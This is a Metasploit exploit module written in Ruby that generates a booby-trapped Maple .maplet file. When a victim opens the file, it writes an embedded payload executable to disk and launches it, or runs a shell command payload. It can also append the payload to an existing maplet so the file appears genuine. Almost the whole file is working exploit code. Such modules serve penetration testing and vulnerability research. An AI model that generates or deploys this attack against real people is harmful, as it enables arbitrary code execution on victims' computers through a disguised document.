##
# $Id: maple_maplet.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Maple Maplet File Creation and Command Execution',
			'Description'    => %q{
					This module harnesses Maple's ability to create files and execute commands
				automatically when opening a Maplet. All versions up to 13 are suspected
				vulnerable. Testing was conducted with version 13 on Windows. Standard security
				settings prevent code from running in a normal maple worksheet without user
				interaction, but those setting do not prevent code in a Maplet from running.

				In order for the payload to be executed, an attacker must convince someone to
				open a specially modified .maplet file with Maple. By doing so, an attacker can
				execute arbitrary code as the victim user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'scriptjunkie'
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'OSVDB', '64541'],
					[ 'URL', 'http://www.maplesoft.com/products/maple/' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
#					'Compat'      =>
#						{
#							'PayloadType' => 'cmd',
#							'RequiredCmd' => 'generic perl telnet',
#						}
				},
			'Targets'        =>
				[
					[ 'Windows',
						{
							'Arch'      => ARCH_X86,
							'Platform' => 'win'
						}
					],

					[ 'Windows X64',
						{
							'Arch'      => ARCH_X86_64,
							'Platform' => 'win'
						}
					],

					[ 'Linux',
						{
							'Arch'      => ARCH_X86,
							'Platform' => 'linux'
						}
					],

					[ 'Linux X64',
						{
							'Arch'      => ARCH_X86_64,
							'Platform' => 'linux'
						}
					],

					['Universal CMD',
						{
							'Arch'      => ARCH_CMD,
							'Platform'       => ['unix', 'win', 'linux']
						}
					]

				],
			'DisclosureDate' => 'Apr 26 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
				OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
			], self.class)

	end


	def exploit
		cmd = ''
		content = ''
		if target['Arch'] != ARCH_CMD
			#Get payload as executable on whatever platform
			binary = generate_payload_exe

			#Get filename and random variable name for file handle in script
			fname = rand_text_alpha(3+rand(15))
			if target['Platform'] == 'win'
				fname << ".exe"
			end
			fhandle = rand_text_alpha(3+rand(15))

			#Write maple commands to create executable
			content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
			exe = binary.unpack('C*')

			content << "writebytes(#{fhandle},[#{exe[0]}"
			lines = []
			1.upto(exe.length-1) do |byte|
				if(byte % 100 == 0)
					lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
				else
					lines.push ",#{exe[byte]}"
				end
			end
			content << lines.join("") + "]);\r\n"

			content << "fclose(" + fhandle + ");\n"
			#Write command to be executed
			if target['Platform'] != 'win'
				content << "system(\"chmod a+x #{fname}\");\n"
			end
			content << "system[launch](\"#{fname}\");\n"
		else
			content << "system(\"#{payload.encoded}\");\n"
		end

		#Then put the rest of the original maplet
		if datastore['TEMPLATE'] != ''
			File.open(datastore['TEMPLATE'], 'rb') do |fd|
				content << fd.read( File.size(datastore['TEMPLATE']) )
			end
		end

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(content)
	end

end
